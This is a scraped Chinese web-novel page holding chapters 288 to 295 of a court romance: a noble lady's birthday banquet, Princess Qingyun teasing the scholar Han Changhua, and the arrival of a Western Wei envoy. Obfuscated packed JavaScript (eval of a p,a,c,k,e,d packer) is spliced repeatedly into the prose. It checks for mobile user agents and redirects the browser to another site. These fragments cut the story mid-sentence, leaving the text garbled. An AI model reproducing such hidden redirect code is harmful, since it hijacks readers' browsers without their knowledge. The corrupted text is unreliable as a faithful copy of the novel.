p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479963|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与西魏人打交道最多,对此事……有何看法?” 圣上将最后的希望寄托在了冀容白身上。 贤王的大婚事宜,也在紧锣密鼓地进行着,不过由于冀容白“病重”,相关的很多礼节都做了调整。 而在大婚之前,石芷凝的生辰到了。 作为左相的嫡女,未来的贤王妃,她的生辰自然不能马虎。 宁府提前许多天就开始筹备,力求将这场生辰宴办得风光体面。 京中稍有名望的贵女们都收到了请帖, 茅清兮自然也在其中。 她与石芷凝在安王府有过一面之缘, 虽然算不上深交,但两人相谈甚欢,颇有些惺惺相惜之感。 茅清兮对石芷凝的印象不错, 因此,她欣然应允了这次邀约,并精心准备了一份生辰贺礼,打算亲自前往宁府道贺。 石芷凝生辰这天,天气晴朗,阳光明媚。 宁府张灯结彩,喜气洋洋, 门前车水马龙,宾客络绎不绝,比茅清兮预想的还要热闹几分。 茅清兮抵达宁府时,发现门口已经停满了各式各样的马车, 丫鬟婆子们进进出出,忙碌不停, 空气中弥漫着各种香气,脂粉味、花香味、食物的香气…… 石芷凝在贵女圈中是出了名的好人缘, 她不仅才貌双全,而且性格温婉,待人真诚, 再加上她即将嫁给贤王,成为未来的贤王妃,身份尊贵, 因此,无论与她关系亲疏,京中的贵女们都愿意给她这个面子,前来捧场。 茅清兮刚下马车,就看到一个熟悉的身影朝她走来。 “清韵?” 茅清兮有些惊讶,她没想到会在这里遇到清韵郡主。 定睛一看,她发现清韵脸色沉郁,眉宇间笼罩着一层阴霾,一副闷闷不乐的样子,似乎有什么心事。 “这是怎么了?” 茅清兮有些疑惑, “谁惹我们清韵郡主不高兴了?竟然让你露出这副表情?” 她亲昵地挽住清韵的手臂,关切地问道,语气中带着一丝打趣。 清韵微微摇头,示意她稍安勿躁, “先进去再说,这里人多眼杂,不是说话的地方。 第二百八十九章 ” 她压低声音,凑到茅清兮耳边轻声说道,眼神中闪过一丝警惕。 茅清兮点了点头,表示明白,没有再追问, 她知道清韵的性格,若不是有什么重要的事情,她是不会如此谨慎的。 两人并肩走进宁府,穿过熙熙攘攘的人群, 石芷凝已经在前厅等候多时了。“臧夫人,清韵郡主,你们可算来了!” 石芷凝的声音带着三分欣喜,七分熟稔,人未到,声先至。她提着裙摆,快步迎了上来,脸上是掩不住的喜气。 清韵郡主向来是个直爽性子,丹凤眼一挑,打趣道: “哟,左姐姐这是人逢喜事精神爽啊,瞧这小脸儿红润的,跟三月桃花似的!” 石芷凝被她说得双颊飞霞,却也不恼,只是嗔怪地睨了她一眼。毕竟与贤王的婚事将近,她心里头也是甜滋滋的。 “清兮,快把咱们的贺礼拿出来,给寿星好好瞧瞧!”清韵转头,朝茅清兮挤了挤眼。 茅清兮微微一笑,从袖中取出一个长匣,双手递了过去,动作轻柔而优雅。 身旁的丫鬟训练有素地接过,石芷凝当着众人的面,缓缓打开了礼盒。 这是亲近之人才有的待遇,在场的都是交情匪浅的姐妹。 “呀!竟是李山先生的《溪山行旅图》!” 石芷凝一声惊呼,眼眸瞬间亮了起来,像是盛满了星辉。 她素来痴迷丹青,这幅名家真迹,可比那些金银珠宝更让她欢喜。 “多谢清兮,这份礼……太贵重了!” 石芷凝的声音都有些颤抖了,小心翼翼地将画卷合上,交给身边的丫鬟,千叮咛万嘱咐要好生收着。 清韵郡主送的则是一方端砚,砚体黝黑,雕工精湛,一看便知是出自名家之手。 石芷凝见了,也是爱不释手,连连赞叹。 一番寒暄后,石芷凝引着两人进了花厅。 厅内早已是环佩叮当,裙袂飘飘,热闹非凡。京城里但凡有些头脸的贵女,几乎都齐聚于此。 有的是与石芷凝素来交好的闺中密友, 有的是仰慕她“京城第一才女”的名头,特来结交的, 自然也有一些,是怀着几分艳羡,几分嫉妒,偷偷打量着这位准贤王妃的。 毕竟,贤王如今在朝中可谓是如日中天。 不仅在户部干得风生水起,屡受圣上嘉奖, 他本人更是才华横溢,风姿卓绝,是京城闺秀们心中的如意郎君。 更难得的是,偌大的贤王府,至今连个侍妾通房都没有。 石芷凝这一嫁过去,便是名正言顺的贤王妃,省去了多少后宅争斗的烦心事? 这等天赐良缘,谁能不眼红? 只是,石芷凝“京城第一才女”的名头也不是虚的。那些心怀嫉妒之人,也只敢在心里嘀咕几句,真到了石芷凝面前,都得矮上三分。 茅清兮和清韵平日里甚少参加这等聚会。 因此,众人都对石芷凝竟能与她们二人交好,感到十分惊讶。 石芷凝身为寿星,自是不能只顾着她们,便歉意地笑了笑,说要去招呼一下别的客人。 茅清兮善解人意地点了点头,让她自去忙碌, 自己则与清韵寻了个不起眼的角落,随意坐了下来。 花厅虽大,人却更多,她们两个坐在这儿,倒也不显眼。 只是,也没什么人主动上前来与她们搭话就是了。 茅清兮给自己倒了杯热茶,轻轻抿了一口,转头看向清韵,轻声问道: “清韵,你今儿这是怎么了?瞧着闷闷不乐的,可是遇上什么烦心事了?” “我能有什么事?”清韵嘟囔了一句,有些烦躁地拿起桌上的果盘,挑了个柑橘出来,心不在焉地剥了起来。 她将剥好的橘子分了一半给茅清兮,自己则一瓣一瓣地往嘴里塞着。 茅清兮尝了一口,眉头微微蹙起:“这橘子……好生酸涩。” “酸?” 清韵手上的动作一顿,有些诧异地看向她,声音也提高了些:“你竟觉得酸?我自小就喜欢酸的,旁人都说我口味独特……” 话音未落,她忽然愣住了,眼神变得有些飘忽,像是一下子跌入了回忆的漩涡。 她想起的,是昨日在公主府里发生的一幕。 府里的下人们都知道她爱吃酸,平日里,膳食上也多有照顾。 昨天,小厨房特意寻来了一批顶好的蜜柑,说是蜜柑,却比一般的蜜柑要酸上许多,正合她的口味。 她吃得高兴,便在府里四处溜达,消磨时间。 母妃近来管得严,不许她出府,她只能在府里自娱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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清韵当时就傻眼了,完全不明白韩长华葫芦里卖的什么药。 第二百九十章 如今想来,那些柑橘,可是她精挑细选出来,最酸的几枚,韩长华竟能面不改色地吃下去? “清韵?你怎么了?”茅清兮见她神色有异,轻轻唤了她一声。 清韵这才猛然回神,眼神中还有一丝残留的困惑。 茅清兮倒也没多问,只是静静地陪着她。 石芷凝的生辰宴,排场并不大,只是请了些亲近的姐妹小聚。 席间,大家正说笑着,贤王身边的贴身侍卫忽然走了进来。 众人的目光齐刷刷地投了过去, 有人认出那侍卫,低呼了一声:“这不是贤王殿下身边的王峰吗?” “王峰?他怎么来了?” “还能为什么?定是贤王殿下有什么吩咐呗!” “哎呀,这还没过门呢,就如此恩爱,真是羡煞旁人!” …… 众人你一言我一语地打趣着,石芷凝的脸上也泛起了一层淡淡的红晕。 王峰走到石芷凝面前,恭恭敬敬地行了一礼, “左小姐,这是殿下命奴才送来的贺礼。” 说着,他从怀中取出一个小巧精致的锦盒,双手奉上。 “多谢殿下。”石芷凝接过锦盒,轻声道了谢。 王峰又道:“殿下还说了,待忙完这几日,定亲自登门,向左小姐赔罪。” 这话一出,在场的贵女们更是炸开了锅。 “哎哟,听听,听听,这还没成亲呢,就赔上罪了!” “可不是嘛,贤王殿下也太宠左姐姐了!” “这有什么,我听说啊,下聘那日,贤王殿下可是亲自来的!这可是破了例的!” 一位消息灵通的贵女,压低了声音,神秘兮萱地说道。 按照规矩,皇子大婚,一应事宜皆由礼部操办,皇子本人是不必亲自出面的。 但贤王不仅亲自来了,还特意让侍卫送来贺礼,这份心意,可见一斑。 众人纷纷出言恭贺,石芷凝的脸上始终带着得体的微笑,既没有过分的张扬,也没有丝毫的扭捏。 她只是淡淡地说道:“殿下公务繁忙,能记得我的生辰,我已经很高兴了。” 石芷凝打开了锦盒,从里面拿出一个羊脂玉的平安扣。 虽然比不上之前的名画和名砚贵重,但胜在寓意好,又贴身。 “贤王还真是细心。”石芷凝说道,她将平安扣拿出来,挂在了脖子上。 贵女们聚在一起,总有说不完的话题。 从衣裳首饰,到胭脂水粉,再到京城里的新鲜事,无所不谈。 只是,茅清兮和清韵似乎总也融不进这个圈子。 她们两人也不在意,只是安静地坐在一旁,偶尔低声交谈几句。 石芷凝好容易得了个空,来到她们身边,笑着打趣道: “你们两个,倒是清闲,躲在这里说悄悄话呢。” 茅清兮抬头看了她一眼,微微一笑, “左右也插不上话,索性偷得浮生半日闲。” 清韵则直接翻了个白眼, “无聊**,要不是你非拉我来,我才懒得出门呢。” 石芷凝知道她是被拘得狠了,笑着摇了摇头,没再说什么,只是吩咐丫鬟再上些新鲜的瓜果点心来。 清韵忽然想起什么似的,看向石芷凝,问道: “芷凝,你马上就要嫁给贤王了,我这个做姐妹的,也没什么好送你的,不如……给你提个醒?” 石芷凝一愣,随即笑道:“提什么醒?” “自然是关于临哥哥的。”清韵眨了眨眼,一副神秘兮萱的样子。 茅清兮在一旁听了,忍不住嗔怪道:“清韵,你又胡说八道什么呢?” “我可没胡说!”清韵撇了撇嘴,“我这可是为了芷凝好,免得她将来后悔。” 石芷凝却是摇了摇头,轻声道:“这门婚事,是皇上赐婚,我没什么可后悔的。再说,贤王殿下很好,我很知足。” 她的语气平静而坚定,眼神中透着一种对未来的憧憬和向往。 她心里清楚,贤王身边,或许会有通房丫鬟,但她并不在意。 她想要的,是与贤王相守一生的承诺,而不是那些虚无缥缈的独宠。石芷凝将手中的画卷轻轻放下,像是珍藏一份易碎的珍宝,她抬眼看向茅清兮,话锋一转: “这画,当真是苏将军亲手所赠?”声音很轻,带着几分女儿家的娇羞与试探。 茅清兮点头,语气随意, “嗯,我看这画的配色挺有意思,就顺手从书房里拿了过来。你要是不嫌弃,那就再好不过。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时间在女子的闲谈笑语中悄然流逝,转眼间,日头已经偏西,天边泛起了淡淡的红霞。 第二百九十一章 茅清兮和清韵也不好再多做打扰,尽管石芷凝再三挽留。 石芷凝虽有不舍,却也明白这个道理,只能亲自送她们到府门外。 刚踏出宁府大门,茅清兮的目光便被路边一辆低调奢华的马车所吸引。 车帘微微晃动,下一刻,冀容白那张俊朗无俦的脸便出现在了她的视线里。 “你怎么亲自过来了?”茅清兮的声音里带着惊喜,脚步也不由得加快了几分。 冀容白笑着,眼中盛满了温柔: “今日下值早,听闻你在此处,便顺路过来接你。” 茅清兮与石芷凝简单道了别,便转身朝自家马车走去。 清韵见了,也连忙小跑着跟上,生怕被落下。 冀容白原本还带着笑意的脸,在看到清韵的那一刻,瞬间阴沉了下来,像是暴风雨来临前的天空。 “清韵公主这是……没带自家的马车?”语气冷飕飕的,任谁都能听出其中的不悦。 清韵才不怕他,她冲着茅清兮做了个鬼脸,娇嗔道: “清兮,你可不能丢下我不管啊!” 茅清兮被她逗得忍俊不禁, “好了,快上来吧,让我护送你返回府邸。” 清韵得意地朝冀容白挑了挑眉,然后一屁股坐在了茅清兮的身旁,还特意往她那边挤了挤。 冀容白冷冷地瞥了她一眼,那眼神,像是要把她直接从马车里扔出去。 清韵却像没事人一样,自顾自地拉着茅清兮说起了悄悄话,时不时还发出几声银铃般的笑声。 冀容白看着她那副得意忘形的模样,心里就来气。这个清韵,真是阴魂不散! 他之前为了阻止清韵去澜府,可是费了不少心思,甚至还偷偷给长公主递了消息。 结果倒好,她竟然还敢跑到这里来,真是…… 清韵一边说着话,一边用眼角的余光偷偷瞄着冀容白,见他脸色越来越难看,心里别提有多得意了。 她就是要让冀容白不痛快!谁让他之前总是坏她的好事! 有本事,当着茅清兮的面把她赶下去啊!她倒要看看,冀容白敢不敢! 清韵在心里暗自得意,脸上却是一副天真无邪的模样。 冀容白被她气得够呛,却又不好发作,只能冷哼一声,将头扭向一边,眼不见为净。 马车缓缓行驶在回程的路上,路过一家新开的酒楼时,清韵突然提议: “清兮,听说这家酒楼的点心不错,要不我们去尝尝?” 冀容白立刻冷声打断: “不必了,澜府已经备好了晚膳,就不劳公主殿下费心了。” 清韵被他噎了一下,气得直翻白眼,却又不敢直接跟他呛声,只能可怜巴巴地看向茅清兮。 茅清兮正要开口,忽然感觉腰间一紧,一只大手不知何时已经悄悄地环了上来。 冀容白在她耳边低语,声音带着几分不易察觉的威胁: “娘子,你可别忘了,今晚还有正事要办呢。” 茅清兮的身子微微一僵,瞬间明白了他话中的含义,脸上不由得泛起了一丝红晕。 她轻咳一声,掩饰住自己的窘迫, “那个……清韵,要不,我们还是回去吃吧?我突然想起来,家里还有些事情要处理。” 清韵一听,顿时气得跳脚: “好啊茅清兮,你竟然为了冀容白这个黑心肝的家伙,连我都不管了!你……你真是太让我失望了!” 她气呼呼地一跺脚,直接掀开车帘跳了下去,头也不回地走了。 茅清兮连忙朝车外的俞霜递了个眼色,俞霜立刻会意,紧随其后跟了上去。 清韵刚一离开,冀容白就迫不及待地将茅清兮搂进了怀里,紧紧地抱着她,像是要把她揉进自己的骨血里。 “你呀,跟清韵置什么气?”茅清兮嗔怪地瞪了他一眼,语气里却带着几分笑意。 冀容白低头在她耳边轻声说道, “她就是个麻烦精,整天缠着你,我看着就烦。” 茅清兮故意逗他: “哦?我怎么觉得,某人好像是吃醋了呢?” 冀容白的眼神瞬间变得幽深起来,他紧紧盯着茅清兮,声音低沉而沙哑: “娘子,你这是在玩火。” 茅清兮被他看得心跳加速,却还是忍不住笑出声来。 她觉得,冀容白有时候真的像个长不大的孩子,竟然会因为这种事情而吃醋。 不过,这种感觉,倒也不坏。 想到之前冀容白为了阻止清韵来澜府,竟然偷偷给长公主送信,茅清兮就觉得又好气又好笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一想到这儿,她心里就跟百爪挠心似的。 第二百九十二章 今年她都十六了,按说早就该议亲。可娘亲一提这茬,她就一个头两个大。 那些个公子哥儿,她看一个烦一个。 前两天,她跟茅清兮念叨过不想嫁人的事儿。 这话,也不知怎么就刮进了娘亲耳朵里,结果呢? 自然是少不了一顿训。 娘亲平常,什么事都顺着她,千依百顺,可就这亲事,半点不由人! 清韵只要一想到要跟男人成亲,就浑身不得劲,鸡皮疙瘩掉一地。 别说成亲了,她连男人的影子都见不得。 她平日里使唤的那些侍卫,一个个都跟木头人似的,离她老远。 还说什么:为了公主安全。 清韵心里明镜似的,那是怕她嫌他们碍眼! 真要成了亲,洞房花烛…… 清韵激灵灵打了个冷战,她怕是头一件事,就是把驸马给打趴下! 清韵漫无目的地走着,时不时踢飞一颗路边的小铁子。 突然—— 一个眼熟的身影,映入了她的眼帘。 韩长华? 他怎么在这儿? 清韵眼睛一亮,瞬间来了精神。 只见韩长华穿着一身青色常服,有些旧了,但浆洗得很干净。 看那样子,应该是刚从文华院下值回来,还没顾上换。 他手里捧着本书,站在一个破书摊前,低着头,看得入了迷。 那股子穷酸气! 不过,他倒是长了副好相貌,清清秀秀,文质彬彬,还真有几分读书人的模样。 清韵嘴角一勾,放轻了脚步,像只捕猎的猫儿,悄无声息地绕到了韩长华身后。 她踮起脚尖,伸长了脖子,朝他手里瞄—— 哟,这不是最近京城里传得神乎其神的那本大家的手抄孤本嘛! 清韵撇撇嘴,在心里“切”了一声。 读书人,装模作样! 她故意咳了两声。 韩长华吓了一跳,猛地回头。 看清是清韵,他先是一愣,紧接着,条件反射般地弯腰行礼,一板一眼,跟个老夫子似的: “微臣……给清韵公主请安。” 那声音,听着就让人着急。 “免礼吧,免礼吧。” 清韵不耐烦地挥挥手。 她可没工夫听这些虚礼。 这小书摊,破破烂烂,一眼就能望到头。 除了几本快散架的旧书,就是些上不得台面的手抄本。 清韵的目光,在书摊上梭巡。 突然,在角落里,发现了两本落了灰的游记。 她眼睛一亮,伸手就去拿。 韩长华眼皮一跳,有种不祥的预感。 他下意识地往后退了小半步。 脑海中,闪过在公主府书房里,被清韵逼着听她念那些个“才子佳人”话本的场景。 简直是……折磨! 他韩长华,怎么说也是个读书人,四书五经烂熟于心。 可偏偏,在清韵面前,就跟个傻子似的,任她摆布。 那些话本,清韵自己不爱看,非逼着他听。 还说什么:“培养情趣”。 韩长华一想到这儿,就头皮发麻。 他赶紧掏出几文钱,递给摊主,打算脚底抹油。 “殿下,臣……臣还有事,先行告退。” 他低着头,声音细若蚊蝇。 谁知,话音未落,清韵就“嗖”地一下,跟了上来。 手里,还拿着那两本游记。 她身后,小棠正忙着给摊主付钱。 “别呀,” 清韵笑吟吟地拦住他, “韩长华,这俩书籍还在我的待读清单里,咱们找个地方,一起看看?” 韩长华一个激灵,差点没跳起来,又往后退了一步,腰弯得更低了: “公主殿下,臣……臣是一介男子,与公主同行,恐怕……有损公主清誉……” 他说话磕磕巴巴,脸憋得通红。 清韵盯着他,眼睛微微眯起,像只盯上猎物的狐狸: “怎么?韩长华,你这是嫌弃本公主?” 她故意停顿了一下, “还是说……本公主拉低了你的格调?” “臣不敢!臣绝无此意!” 韩长华慌忙摆手,头摇得像拨浪鼓。 “有辱斯文”这几个字,简直成了他的噩梦。 当初,他头一回进长公主府,正好撞见清韵在院子里练剑。 那场面…… 怎么形容呢? 跟个假小子似的,哪有半点公主的仪态? 他一时没忍住,就蹦出了这四个字。 结果,就因为这四个字,他算是被清韵给“惦记”上了。 之后的日子,简直是“暗无天日”。 韩长华也想过服软。 他认错,他赔不是,他低三下四…… 可都没用! 清韵就像是吃了秤砣铁了心,非要跟他“过不去”。 他一个文弱书生,哪是清韵的对手? 更何况,他压根就不懂怎么跟姑娘家打交道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“臣没有!臣怎会讨厌公主殿下?” “那你… 第二百九十三章 …为什么总躲着我?” 清韵盯着他的眼睛, “还说什么‘有损清誉’,‘有辱斯文’……本公主在你眼里,就那么不堪?” 韩长华张了张嘴,想解释,却又不知该如何开口。 清韵见他那副模样,心里更气了。 她“啪”地一声,把手里的橘子拍在桌上: “不吃了!没胃口!” 说完,她起身就走。 韩长华慌忙站起来,想拦住她,却又不敢伸手。 他看着清韵气呼呼的背影,心里乱成一团。 “公主殿下……” 他轻声唤道,声音里带着一丝不易察觉的慌乱。 清韵停下脚步,却没有回头。 韩长华深吸一口气,鼓起勇气,说道: “臣……臣没有讨厌公主殿下。臣只是……只是……” 他“只是”了半天,也没说出个所以然来。 清韵等得不耐烦了,猛地转过身,瞪着他: “只是什么?你倒是说啊!” 韩长华被她吓了一跳,下意识地后退了一步。 他低着头,不敢看清韵的眼睛,声音低得几乎听不见: “臣只是……不习惯……跟女子……这般……亲近……” 清韵愣住了。 她没想到,韩长华会说出这样的话来。 她看着韩长华那副局促不安的模样,心里突然涌起一股莫名的情绪。 有恼怒,有不解,还有一丝……说不清道不明的酸涩。韩长华用膳时的姿态,如同一幅画卷徐徐展开。他执筷的动作优雅从容,每一个细节都恰到好处,仿佛经过千百次推敲。 青瓷碗中的汤羹冒着缕缕热气,在空气中氤氲成一片朦胧。他抿了一口,眉目间流露出几分赏味的神色。这份闲适与优雅,让人不禁想起那些终日伏案的文人雅士。 清韵看着他,心中不由得感慨。即便是出身诗书世家的驸马,也不及眼前人这般纯粹的文人气质。那是一种浸润在骨子里的东西,非刻意模仿所能及。 韩长华身着青衫儒服,如同一株修竹,清雅中带着不可逾越的距离感。他的一举一动都透着书卷气,连喝茶时微微抬起的手腕都带着几分书生特有的斯文。 这或许就是为何清韵能与他相处自在的缘由。在这个权谋交织的宫廷中,能遇到一个不带任何目的的人实在难得。他的眼神永远清澈,不染纤尘,甚至还带着几分避让,仿佛对这世间的纷扰都不愿沾染。 殿内檀香袅袅,茶香四溢。清韵看着案几上摆放的点心,忽然想起小时候在宫中读书的情景。那时的她,也曾向往过这样悠然自得的生活。 用完膳后,清韵将游记随手扔给他,语气中带着几分慵懒:“下回来时,读给本宫听。”她头也不回地离开,裙摆在地上划出一道优美的弧线。再不回府,母后怕是要发怒了。 宫女们忙不迭地跟上她的脚步,留下韩长华独自坐在那里,手中轻轻摩挲着那本游记的封面,眼神深邃而温和。 与此同时,茅清兮回到房中时,心跳仍未平复。今日在马车上,冀容白的眼神太过炽热,像是要将她整个人都融化。那种灼人的温度,让她这个脸皮向来厚实的人都感到不自在。 她整理了下有些凌乱的衣襟,决定先去长明的院子。作为师父,她虽然最近忙碌,但对徒弟的关心从未减少。每每想起长明的勤奋好学,她心中就充满欣慰。 推开院门时,长明正在灯下读书。这是她的要求,即便不走仕途,读书也能让人看得更远,知道这世间不只有眼前这一方天地。烛光映照在少年清秀的面容上,勾勒出一道温暖的轮廓。 “师父。”长明立刻起身行礼,动作恭敬而规整。 茅清兮走到案前,随手翻看着桌上的书籍,问道:“最近练武可有不解之处?” 长明摇头,声音坚定而恭敬:“师父说过,领进门修行在个人,弟子一直谨记。” 茅清兮满意地点头,眼中闪过一丝笑意:“来,与为师过两招。”她向院中走去,月光如水般倾泻而下。 院中,师徒二人手持长剑,相对而立。夜风轻拂,带起两人的衣袂翩翩。长明目光坚定,握剑的手稳若磐石:“请师父指教。” 他率先出手,剑招凌厉如风,每一招都带着十足的杀伤力。剑气划破夜空,发出阵阵呼啸。茅清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一夜,茅清兮叫了三次水。她趴在床边,嗓子已经哑了,连说话都带着几分沙哑。想到俞霜和富峻的耳力,她恨不得找个地缝钻进去。 第二百九十四章 冀容白从身后抱住她,下巴抵在她的肩窝处,声音里带着几分笑意:“娘子,你脸红的样子真好看。” 茅清兮用手肘轻轻撞了他一下,却不料被他抓住机会,又是一番缠绵。直到东方泛白,她才终于沉沉睡去。 清晨的阳光透过窗纱洒进来时,茅清兮还在睡梦中。冀容白轻手轻脚地起身,为她掖好被角,眼中满是宠溺。他知道,这个看似强势的女子,在他面前总是显得格外柔软。 “章节字数”:4218清晨,一缕阳光透过绣着并蒂莲的窗纱,温柔地洒落在床榻上。 茅清兮感觉身侧微动,还未完全睁开眼,便觉眼前一暗,一只带着淡淡松木香气的手,轻轻覆在了她的眼帘上。 “再睡会儿,等我回来。” 是冀容白低沉而富有磁性的嗓音。 茅清兮忍不住将脸颊往那微凉的掌心里蹭了蹭,像一只慵懒的猫儿,嘴角不自觉地勾起一抹浅浅的笑意,翻了个身,寻了个更舒适的姿势,又沉沉睡去,呼吸逐渐变得悠长而平稳。 冀容白小心翼翼地起身,穿戴好朝服,每一个动作都轻柔至极,生怕惊扰了床上熟睡的人儿。 走到门边,他忍不住又回首望了一眼,目光在那张恬静的睡颜上流连片刻,眼神温柔似水,仿佛能融化世间所有的冰雪。 他轻轻推开房门。 富峻早已等候在门外,脸上带着一丝难以掩饰的笑意,似乎有什么喜事。 俞霜和绿绿也恭敬地站在廊下,见到冀容白出来,连忙躬身行礼。 “别去打扰夫人,让她多睡一会儿。”冀容白压低声音,轻声吩咐。 “是,将军。”俞霜和绿绿连忙应声。 自从墨川接管了鹰羽卫在军营的事务,富峻便成了冀容白的贴身侍卫,如影随形,几乎寸步不离。 他紧随冀容白身后,朝府外走去。 一路上,富峻的目光总是有意无意地瞟向自家主子,似乎想从他脸上探寻出什么秘密。 冀容白今日的心情,显然好得出奇。 那微微上扬的嘴角,无论如何都掩饰不住。 富峻暗自思忖,摸了摸下巴,眼珠子滴溜溜一转,笑嘻嘻地凑上前,压低声音试探道:“主子,今儿个……是不是有什么喜事?小的瞧您这心情,怕是比中了头彩还要高兴几分,可有赏钱给小的们乐呵乐呵?” 他故意拖长了尾音,语气中带着几分讨好,几分期待。 冀容白步履不停,斜睨了他一眼。 富峻和墨川的性格截然不同。 墨川沉稳内敛,心思缜密。 而富峻,则像个没长大的孩子,身上总是带着一股江湖人的跳脱和不羁。 不过,冀容白心里清楚,富峻只是表面上看起来有些不着调,实际上却是个粗中有细的人,关键时刻,总能拎得清轻重,这也是他为何如此信任富峻的原因。 走到府门外,冀容白正欲登上马车。 突然,他停下脚步,转身,抬腿在富峻的小腿上轻轻踢了一下。 富峻也不躲闪,只是嘿嘿傻笑,一副心领神会的模样。 冀容白这才缓缓开口,声音中带着一丝难以察觉的笑意:“这样,府里上上下下,这个月的月银都翻上一倍,就说是……夫人赏的。” “得嘞!”富峻立刻高声应道,声音里充满了欢喜和兴奋。 他身为玄月门副门主之一,每个月的俸禄本就相当可观。 再加上冀容白对手下人出手阔绰,各种赏赐从未间断。 因此,富峻的私房钱,可是相当丰厚的,远不止明面上的那些。 不过,谁又会嫌银子多呢? 更何况,富峻心里跟明镜似的,今日主子心情如此愉悦,这赏钱,八成是跟夫人有关。 身为一个合格的下属,自然要时刻揣摩主子的心思,投其所好。 富峻心中暗自得意,觉得自己这一记马屁拍得恰到好处,既讨好了主子,又得了实惠。 日头逐渐升高,金色的阳光洒满整个澜府。 直到日上三竿,茅清兮才悠悠转醒,缓缓睁开了眼睛。 她伸了个懒腰,只觉得浑身舒泰,骨头都仿佛轻了几两。 澜府不比其他高门大户,没有那么多繁琐的规矩,也没有长辈需要晨昏定省。 茅清兮可以随心所欲,想怎么赖床就怎么赖床。 更何况,昨夜…… 她回想起昨夜的温存,脸上不由自主地泛起一抹淡淡的红晕,如三月桃花般娇艳。 听到屋内的动静,绿绿立刻端着一盆温热的水走了进来,轻手轻脚地放在黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一件是为皇帝充盈后宫的选秀之事,这可是关系到皇家血脉传承的大事,自然马虎不得。 第二百九十五章 另一件,则是西魏使团来访。 这可是关乎两国邦交的大事,稍有不慎,便可能引发两国纷争。 为了这两件事,礼部和户部的官员们忙得焦头烂额,兵部倒是相对清闲,毕竟这些事务与他们并无太大关联。 直到三月底,西魏使团终于抵达了大晋京城。 为了表示对西魏使团的重视,皇帝特意钦点贤王作为此次接待的负责人,与礼部官员一同负责西魏使团在京期间的一切事宜。 西魏使团被安排入住京城东面的驿馆。 然而,皇帝似乎有意要给西魏使团一个下马威,并没有立即召见他们。 直到十余日后,才在宫中设宴,正式接见了西魏使团的成员。 在此之前,冀容白早已派出得力干将,将西魏使团的底细查了个一清二楚。 这一日,冀容白的书房内。 富辰手持一份详细的名单,向冀容白和茅清兮禀报调查结果。 “启禀将军,夫人,西魏这次派来的使团,总共有二十八人。”富辰的声音沉稳而有力,“除了负责外交的使臣,以及随行保护的侍卫之外,还有几位身份特殊的人物。” 他顿了顿,展开手中的名单,继续说道:“其中,包括西魏的安宁公主、马静郡主,以及在西魏军中声名显赫的英武将军,康云辰。” 茅清兮微微蹙眉,敏锐地捕捉到了关键信息,问道:“那位安宁公主和马静郡主,她们的身份,可都查清楚了?” 富辰点了点头,回答:“回夫人,已经查明。马静郡主,乃是西魏大皇子的独女。只是,这位大皇子……怎么说呢,身子骨一直不太好,常年卧病在床,在朝中也没什么实权,更别提争夺皇位了。所以,这次和亲,西魏皇室便选中了他的女儿。” 他顿了顿,似乎在斟酌用词,又补充道:“至于那位安宁公主……来历就有些特殊了。听说是年前才被西魏皇室从民间寻回的。据说,是当今西魏皇帝当年微服私访时,与一位民间女子所生。那位女子不愿入宫,连夜逃走了。直到最近,西魏的五皇子在民间巡视时,偶然发现了这位公主,才将她带回了皇宫。” 茅清兮听了,眉头皱得更紧了。 她隐隐觉得,这位安宁公主的出现,或许并不简单。 “这可真是……‘巧合’得令人难以置信。”茅清兮的语气中带着一丝嘲讽,“西魏皇室如此大费周章地找回一位‘流落在外’的公主,难道仅仅是为了让她来大晋和亲?恐怕没这么简单。” “夫人所虑极是。”冀容白的声音低沉而冷峻,“西魏人向来狡猾,不得不防。他们将这位安宁公主送来,或许是因为她身份低微,不足以影响西魏的**格局,但更可能的是,他们另有图谋。” 